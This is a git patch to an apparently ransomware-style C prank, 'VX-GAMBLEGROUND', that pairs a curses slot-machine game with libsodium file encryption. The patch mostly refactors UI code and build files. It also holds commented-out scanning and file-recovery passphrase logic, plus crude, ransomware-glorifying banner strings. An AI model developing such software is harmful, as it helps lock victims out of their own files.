From 567d14881df3e405bd9f955c18978cf14ee4c12b Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Fri, 30 Aug 2024 18:11:32 -0500 Subject: lol, lmao --- src/Makefile | 18 +++--- src/main.c | 134 +++++++++++++++++++++++++++++++++------------ src/main.h | 18 ++++++ src/runscreen.sh | 12 ++-- src/screen.c | 142 +++++++++++++++++++++++------------------------ src/screen.h | 164 +++++++++++++++++++++++++++---------------------------- 6 files changed, 287 insertions(+), 201 deletions(-) create mode 100644 src/main.h (limited to 'src') diff --git a/src/Makefile b/src/Makefile index e600e47..f7d05be 100644 --- a/src/Makefile +++ b/src/Makefile @@ -1,23 +1,21 @@ CC = gcc CFLAGS = -Wall -Wextra -Wpedantic -fanalyzer -Wanalyzer-too-complex -Og -g3 -ggdb +LDLIBS = $$(pkg-config --libs libsodium) -lmenu $$(pkg-config --libs ncurses) SHELL := /usr/bin/env -S bash -BINARY_FILES := screen main encryption.o search.o ll.o +BINARY_FILES := main.o encryption.o search.o screen.o ll.o main .PHONY: all clean all: $(BINARY_FILES) clean: - rm -rvf $(BINARY_FILES) - - -main: main.c search.o encryption.o ll.o - set -e -o pipefail && $(CC) $(CFLAGS) $$(pkg-config --cflags libsodium) main.c -o main $$(pkg-config --libs libsodium) - -screen: screen.c screen.h - set -e -o pipefail && $(CC) $(CFLAGS) $$(pkg-config --cflags libsodium) screen.c -o screen $$(pkg-config --libs libsodium) -lmenu $$(pkg-config --libs ncurses) + rm -rvf $(BINARY_FILES) $(wildcard *.o) +main.o: main.c main.h encryption.o: encryption.c encryption.h search.o: search.c search.h -ll.o: ll.c ll.h \ No newline at end of file +screen.o: screen.c screen.h +ll.o: ll.c ll.h + +main: $(wildcard *.o) \ No newline at end of file diff --git a/src/main.c b/src/main.c index a382ccb..564846d 100644 --- a/src/main.c +++ b/src/main.c @@ -10,8 +10,11 @@ #define _GNU_SOURCE +#include "main.h" + #include "encryption.h" #include "search.h" +#include "screen.h" #include "ll.h" #include @@ -41,14 +44,16 @@ static char argdoc[] = "lmao"; static struct argp_option options[] = { {.name = "passphrase", .key = 'p', .arg = "key", .flags = 0, .doc = "Specify passphrase for encryption/decryption", .group = 0}, - {"decrypt", 'd', 0, 0, "Skip the slots minigame and immediately decrypt (or encrypt) files", 0}, - {"noenc", 'n', 0, 0, "Don't encrypt files when ran, just play slots"}, + {"decrypt", 'd', 0, 0, "Skip the slots minigame and immediately decrypt (or encrypt) files", 0}, + {"noencrypt", 'n', 0, 0, "Don't encrypt files when ran, just play slots", 0}, {0} }; +#define SKIPSLOTS 0x1 +#define SKIPENC 0x2 struct arguments { char *inputpass; - int skipslots; + int flags; }; static error_t parse_opt(int key, char *arg, struct argp_state *state) { @@ -56,21 +61,28 @@ static error_t parse_opt(int key, char *arg, struct argp_state *state) { switch(key) { case 'p': - /* Specifying the start option of "-p=" errors out unless this is done. - // Technically a user should use --passphrase= if they want to use the = sign, but I think - // this is how it should work. RMS can suck it */ - if(*arg == '=') - arg++; - - args->inputpass = arg; - break; + /* Specifying the start option of "-p=" errors out unless this is done. + // Technically a user should use --passphrase= if they want to use the = sign, but I think + // this is how it should work. RMS can suck it */ + if(*arg == '=') + arg++; + + args->inputpass = arg; + if(strlen(args->inputpass) != PHRASESIZE) { + error(1, 0, "Encryption passphrase must be exactly %d characters long", PHRASESIZE); + } + break; case 'd': - args->skipslots = 1; - break; + args->flags |= SKIPSLOTS; + break; + + case 'n': + args->flags |= SKIPENC; + break; default: - return ARGP_ERR_UNKNOWN; + return ARGP_ERR_UNKNOWN; } return 0; @@ -90,34 +102,88 @@ int genphrase(char *phrase, size_t phrasesize) { return 0; } +// roflmao fuck this project i'm too tired to bother with making it nice +int doslots(struct bullshit *stuff) { + // I have no fucking clue why gcc complains that this isn't properly bracketed. Maybe im rarted + stuff->handler = (struct sigaction){ + .sa_flags = SA_SIGINFO, + .sa_mask = SIGINT | SIGWINCH, + .sa_sigaction = catcher, + }; + doinit(&stuff->handler); + docolors(); + + getmaxyx(stdscr, stuff->row, stuff->col); + stuff->randphrase = randombytes_uniform(STATIC_ARRSIZE(phrases) + 1); + stuff->banner = create_banner(stuff->col, stuff->randphrase); + + init_items(stuff->items, menu_choices, STATIC_ARRSIZE(menu_choices), userfuncs); + stuff->menu = new_menu(stuff->items); + if(stuff->menu == NULL) { + endwin(); + error(1, errno, "Could not create menu"); + } -int main(int argc, char *argv[]) { - if(sodium_init() < 0) - error(1, errno, "[VX-GAMBLEGROUND] Could not init sodium"); + stuff->menuholder = newwin(1, stuff->col, stuff->row - 1, 0); + keypad(stuff->menuholder, TRUE); + init_custom_menu_format(stuff->menuholder, stuff->menu, (int []){1, stuff->col}, O_ONEVALUE | O_IGNORECASE, O_SHOWDESC | O_NONCYCLIC); + + stuff->slots.slotwin = newwin(stuff->row - 2, stuff->col, 1, 0); + if(stuff->slots.slotwin == NULL) { + endwin(); + error(1, errno, "[VX-GAMBLEGROUND] Could not create slots window"); + } + init_slotholder(&stuff->slots); + + doupdate(); + + stuff->params = (struct params){ + .bannerwin = stuff->banner, + .menu = stuff->menu, + .menuholder = stuff->menuholder, + .numspins = 3, + .price = 1, + .slots = &stuff->slots, + }; - struct arguments args; - args.inputpass = NULL; - args.skipslots = 0; + handle_input(stuff->menuholder, stuff->menu, &stuff->params); + unpost_menu(stuff->menu); + free_menu(stuff->menu); + for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++) + free_item(stuff->items[i]); + + endwin(); + + return 0; +} + +int main(int argc, char *argv[]) { + struct arguments args = { + .inputpass = NULL, + .flags = 0 + }; argp_parse(&argp, argc, argv, ARGP_NO_ARGS, 0, &args); - if(args.inputpass != NULL) { - if(strlen(args.inputpass) != PHRASESIZE) { - error(1, 0, "Encryption passphrase must be exactly %d characters long", PHRASESIZE); - } + if(args.flags == (SKIPENC | SKIPSLOTS)) + error(1, 0, "[VX-GAMBLEGROUND] You want to skip the slots, and the encryption? Ok, sure"); + + struct bullshit stuff; + doslots(&stuff); - printf("Using input passphrase \"%s\"\n", args.inputpass); - } else { - char phrase[PHRASESIZE]; - genphrase(phrase, PHRASESIZE); + // if(args.inputpass != NULL) { + // printf("Using input passphrase \"%s\"\n", args.inputpass); + // } else { + // char phrase[PHRASESIZE]; + // genphrase(phrase, PHRASESIZE); - printf("Encryption phrase: %s\n\nWrite this phrase down EXACTLY if you want to recover your files\n", phrase); + // printf("Encryption phrase: %s\n\nWrite this phrase down EXACTLY if you want to recover your files\n", phrase); - if(args.skipslots == 0) { - printf("Hit Enter to contine, or CTRL+C to cancel..."); - getchar(); - } - } + // if(args.flags & SKIPSLOTS != 0) { + // printf("Hit Enter to contine, or CTRL+C to cancel..."); + // getchar(); + // } + // } /* Get files struct nodelist *files = scanfiles("./", alphasort); diff --git a/src/main.h b/src/main.h new file mode 100644 index 0000000..579e541 --- /dev/null +++ b/src/main.h @@ -0,0 +1,18 @@ +#ifndef __SLOTS__MAIN_H__1443534935301 +#define __SLOTS__MAIN_H__1443534935301 + +#include "screen.h" + +struct bullshit { + struct sigaction handler; + int row, col, randphrase; + + WINDOW *banner, *menuholder; + ITEM *items[STATIC_ARRSIZE(menu_choices) + 1]; + MENU *menu; + + struct slotholder slots; + struct params params; +}; + +#endif \ No newline at end of file diff --git a/src/runscreen.sh b/src/runscreen.sh index f0dac47..7873451 100755 --- a/src/runscreen.sh +++ b/src/runscreen.sh @@ -3,27 +3,29 @@ # This file exists because I've gotten to the point where I need to open the terminal in specific dimensions # or the thing looks bad +BINNAME="main" +SCRIPT_DIR="$(cd "$(dirname "$0")" && echo "$PWD")" + main() { # Stop interrupts trap '' INT - # Get location of script - SCRIPT_DIR="$(cd "$(dirname "$0")" && echo "$PWD")" + # Make sure script location is there if [ -z "$SCRIPT_DIR" ]; then printf "\033[38;2;255;0;0m\033[1m[runscreen.sh] Couldn't get location of script. Exiting...\n\033[m" 1>&2 return 1 fi # Check to make sure the screen binary exists - if [ ! -x "$SCRIPT_DIR/screen" ]; then + if [ ! -x "$SCRIPT_DIR/$BINNAME" ]; then printf "\033[38;2;255;0;0m\033[1m[runscreen.sh] Screen binary doesn't exist. Exiting...\n\033[m" 1>&2 return 1 fi # Run the thing in gnome terminal - gnome-terminal --hide-menubar --geometry=156x27 --wait -- "$SCRIPT_DIR/screen" \ + gnome-terminal --hide-menubar --geometry=156x27 --wait -- "$SCRIPT_DIR/$BINNAME" \ && return $? } -main && exit $? \ No newline at end of file +main && exit $? diff --git a/src/screen.c b/src/screen.c index 7018c2a..e70bf21 100644 --- a/src/screen.c +++ b/src/screen.c @@ -396,7 +396,7 @@ int rangemod(int x, int offset, int min, int max) { return ((x - min + offset) % (max - min + 1)) + min; } -static int init_rgb_color(int colornum, int red, int green, int blue) { +int init_rgb_color(int colornum, int red, int green, int blue) { int nred = normalize(red, RGB_MIN, RGB_MAX, CURSESCOLOR_MIN, CURSESCOLOR_MAX); int ngreen = normalize(green, RGB_MIN, RGB_MAX, CURSESCOLOR_MIN, CURSESCOLOR_MAX); int nblue = normalize(blue, RGB_MIN, RGB_MAX, CURSESCOLOR_MIN, CURSESCOLOR_MAX); @@ -429,72 +429,74 @@ int mvwcreate_box(WINDOW *win, int y, int x, int height, int width, const chtype //////////////////////////////////// MAIN //////////////////////////////////// -int main() { - // I have no fucking clue why gcc complains that this isn't properly bracketed. Maybe im rarted - const struct sigaction handler = { - .sa_flags = SA_SIGINFO, - .sa_mask = SIGINT | SIGWINCH, - .sa_sigaction = catcher, - }; - doinit(&handler); - - docolors(); - - // Variable definitions - ITEM *items[STATIC_ARRSIZE(menu_choices) + 1]; // An array of ITEM pointers large enough to store all the menu items - struct params params; // Function pointer used for callbacks in the menu driver - WINDOW *menuholder = NULL; // The window for displaying the menu - int row = -1, col = -1; // The rows and columns of the main screen - uint32_t randomnum; // A random number for getting the banner phrase - MENU *menu; // The actual menu object - - struct slotholder slots; - - getmaxyx(stdscr, row, col); - randomnum = randombytes_uniform(STATIC_ARRSIZE(phrases) + 1); - - WINDOW *banner = create_banner(col, randomnum); - init_items(items, menu_choices, STATIC_ARRSIZE(menu_choices), userfuncs); - - // No point in moving this into a function - menu = new_menu(items); - if(menu == NULL) { - endwin(); - error(1, errno, "Could not create menu"); - } - - // Set up the menuholder & init everything - menuholder = newwin(1, col, row - 1, 0); - keypad(menuholder, TRUE); - init_custom_menu_format(menuholder, menu, (int []){1, col}, O_ONEVALUE | O_IGNORECASE, O_SHOWDESC | O_NONCYCLIC); - - - slots.slotwin = newwin(row - 2, col, 1, 0); - if(slots.slotwin == NULL) { - endwin(); - error(1, errno, "[VX-GAMBLEGROUND] Could not create slots window"); - } - - init_slotholder(&slots); - - doupdate(); - - params.bannerwin = banner; - params.menu = menu; - params.menuholder = menuholder; - params.numspins = 3; - params.price = 1; - params.slots = &slots; - - handle_input(menuholder, menu, ¶ms); - - // Clean up the menu - unpost_menu(menu); - free_menu(menu); - for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++) - free_item(items[i]); - //*/ - - endwin(); // Clean up curses - return 0; -} \ No newline at end of file +// Use this as an example for implementing screen's functions in another file + +// int main() { +// // I have no fucking clue why gcc complains that this isn't properly bracketed. Maybe im rarted +// const struct sigaction handler = { +// .sa_flags = SA_SIGINFO, +// .sa_mask = SIGINT | SIGWINCH, +// .sa_sigaction = catcher, +// }; +// doinit(&handler); + +// docolors(); + +// // Variable definitions +// ITEM *items[STATIC_ARRSIZE(menu_choices) + 1]; // An array of ITEM pointers large enough to store all the menu items +// struct params params; // Function pointer used for callbacks in the menu driver +// WINDOW *menuholder = NULL; // The window for displaying the menu +// int row = -1, col = -1; // The rows and columns of the main screen +// uint32_t randomnum; // A random number for getting the banner phrase +// MENU *menu; // The actual menu object + +// struct slotholder slots; + +// getmaxyx(stdscr, row, col); +// randomnum = randombytes_uniform(STATIC_ARRSIZE(phrases) + 1); + +// WINDOW *banner = create_banner(col, randomnum); +// init_items(items, menu_choices, STATIC_ARRSIZE(menu_choices), userfuncs); + +// // No point in moving this into a function +// menu = new_menu(items); +// if(menu == NULL) { +// endwin(); +// error(1, errno, "Could not create menu"); +// } + +// // Set up the menuholder & init everything +// menuholder = newwin(1, col, row - 1, 0); +// keypad(menuholder, TRUE); +// init_custom_menu_format(menuholder, menu, (int []){1, col}, O_ONEVALUE | O_IGNORECASE, O_SHOWDESC | O_NONCYCLIC); + + +// slots.slotwin = newwin(row - 2, col, 1, 0); +// if(slots.slotwin == NULL) { +// endwin(); +// error(1, errno, "[VX-GAMBLEGROUND] Could not create slots window"); +// } + +// init_slotholder(&slots); + +// doupdate(); + +// params.bannerwin = banner; +// params.menu = menu; +// params.menuholder = menuholder; +// params.numspins = 3; +// params.price = 1; +// params.slots = &slots; + +// handle_input(menuholder, menu, ¶ms); + +// // Clean up the menu +// unpost_menu(menu); +// free_menu(menu); +// for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++) +// free_item(items[i]); +// //*/ + +// endwin(); // Clean up curses +// return 0; +// } \ No newline at end of file diff --git a/src/screen.h b/src/screen.h index 7c776e6..2d4f610 100644 --- a/src/screen.h +++ b/src/screen.h @@ -5,87 +5,87 @@ #include #include -const char *phrases[] = { - // By @syxhe on telegram - "WE CLOWN IN THIS MF, TAKE YO SENSITIVE ASS BACK TO @GENTOOMEMES", - "R.I.P VxHeaven", - "tmp(2) nuked by Smelly", - "99% of Ransomware Operators quit before compromising a bank", - "Equation Group wuz here", - "Lazarus wuz here", - "LockBit wuz here", - "Sponsored by Equation Group", - "Sponsored by Lazarus", - "Sponsored by LockBit", - "Free my boy Ross Ulbricht he did nothing wrong", - "Stay off the dark web, kids", - "FREE BITCOIN JUST 3 SPINS AWAY", - "We all glow in the dark", - "Shoutouts to Simpleflips", - "Shoutouts to BugHunter", - "Shoutouts to EyeDeeKay", - ":beecat:", - ":3", - "You think Jack Rhysider will interview me now?", - "Check out \"Darknet Diaries\"", - "Chill and losing it since 2016", - "POOL'S CLOSED", - "I've been diagnosed with snaids", - "My balls itch", - "We killin filez and shiit", - "lonix users BTFO once again", - "This space left intentionally blank", - "Thinking of a way out is self-centered at best", - "Searching for the punchline to an infinite jest?", - "Still learning what it means to feel", - "Killroy was NOT here", - "Go fuck yourself lmao", - "It's so over", - "We're so back", - "It never even began", - "Pepito they shot Trump", - "This shit ain't nothing to me man", - "I'm him, I will continue to be him", - "THERE ARE MOSQUITOS IN YOUR URETHRA, GET THEM OUT!!!", - "Something wicked this way comes", - "Schizo hour", - "Man I could really use some Chicken Bouillon rn", - "Fuck my digital footprint, I need a digital footjob", - "Having my weekly \"Ted was right\" moment", - "Why aren't you in the gym?", - "Proof?", - "I've gone completely mental", - "The rage consumes me", - "Go outside. Now.", - "Beautiful Day Sunny Morning", - "Fuck crypto all my homies hate crypto", - "stfu fedsmoker is my dad he'll eat you alive", - "Almost dog in hot car'd myself", - - // by @danielsprofile on telegram - "Daniel Spears loves femboys", - "LizardSquad > Razer", - "Sponsored by Major League Gaming", - "Sponsored by LemonParty.org", - "Sponsored by FTX", - "RIP Harambe", - "Shoutout Elliot Alderson", - "Ted Kaczynski was right", - "The FBI watches me jerk off to MILFs lol", - "robux generator free online 2024 100% working undetected", - "Doge wuz here", - "We like Fortnite we like Fortnite", - "We live in a society", - "Hab you seen a alien pls?", - "using a flipperzero makes me an APT, right?", - "Subscribe to PewDiePie", -}; +#define phrases (const char *[]){\ + /* By @syxhe on Telegram */\ + "WE CLOWN IN THIS MF, TAKE YO SENSITIVE ASS BACK TO @GENTOOMEMES",\ + "R.I.P VxHeaven",\ + "tmp(2) nuked by Smelly",\ + "99% of Ransomware Operators quit before compromising a bank",\ + "Equation Group wuz here",\ + "Lazarus wuz here",\ + "LockBit wuz here",\ + "Sponsored by Equation Group",\ + "Sponsored by Lazarus",\ + "Sponsored by LockBit",\ + "Free my boy Ross Ulbricht he did nothing wrong",\ + "Stay off the dark web, kids",\ + "FREE BITCOIN JUST 3 SPINS AWAY",\ + "We all glow in the dark",\ + "Shoutouts to Simpleflips",\ + "Shoutouts to BugHunter",\ + "Shoutouts to EyeDeeKay",\ + ":beecat:",\ + ":3",\ + "You think Jack Rhysider will interview me now?",\ + "Check out \"Darknet Diaries\"",\ + "Chill and losing it since 2016",\ + "POOL'S CLOSED",\ + "I've been diagnosed with snaids",\ + "My balls itch",\ + "We killin filez and shiit",\ + "lonix users BTFO once again",\ + "This space left intentionally blank",\ + "Thinking of a way out is self-centered at best",\ + "Searching for the punchline to an infinite jest?",\ + "Still learning what it means to feel",\ + "Killroy was NOT here",\ + "Go fuck yourself lmao",\ + "It's so over",\ + "We're so back",\ + "It never even began",\ + "Pepito they shot Trump",\ + "This shit ain't nothing to me man",\ + "I'm him, I will continue to be him",\ + "THERE ARE MOSQUITOS IN YOUR URETHRA, GET THEM OUT!!!",\ + "Something wicked this way comes",\ + "Schizo hour",\ + "Man I could really use some Chicken Bouillon rn",\ + "Fuck my digital footprint, I need a digital footjob",\ + "Having my weekly \"Ted was right\" moment",\ + "Why aren't you in the gym?",\ + "Proof?",\ + "I've gone completely mental",\ + "The rage consumes me",\ + "Go outside. Now.",\ + "Beautiful Day Sunny Morning",\ + "Fuck crypto all my homies hate crypto",\ + "stfu fedsmoker is my dad he'll eat you alive",\ + "Almost dog in hot car'd myself",\ + \ + /* by @danielsprofile on telegram */ \ + "Daniel Spears loves femboys",\ + "LizardSquad > Razer",\ + "Sponsored by Major League Gaming",\ + "Sponsored by LemonParty.org",\ + "Sponsored by FTX",\ + "RIP Harambe",\ + "Shoutout Elliot Alderson",\ + "Ted Kaczynski was right",\ + "The FBI watches me jerk off to MILFs lol",\ + "robux generator free online 2024 100% working undetected",\ + "Doge wuz here",\ + "We like Fortnite we like Fortnite",\ + "We live in a society",\ + "Hab you seen a alien pls?",\ + "using a flipperzero makes me an APT, right?",\ + "Subscribe to PewDiePie",\ +} -const char *menu_choices[] = { - "Spin", - "Buy spins", - "Quit" -}; +#define menu_choices (const char *[]){\ + "Spin",\ + "Buy spins",\ + "Quit"\ +} #define STATIC_ARRSIZE(arr) (sizeof((arr)) / sizeof((arr)[0])) @@ -191,7 +191,7 @@ struct params { // Previously buyp unsigned int price; int numspins; -} params; +}; //////////////////////////////////// SPECIFICALLY USEFUL FUNCS //////////////////////////////////// @@ -246,7 +246,7 @@ int rangemod(int x, int offset, int min, int max); // Initialize a new curses color using standard rgb values (0-255) instead of curses' 0-1000 range -static int init_rgb_color(int colornum, int red, int green, int blue); +int init_rgb_color(int colornum, int red, int green, int blue); #define RGB_MIN 0 #define RGB_MAX 255 #define CURSESCOLOR_MIN 0 -- cgit v1.2.3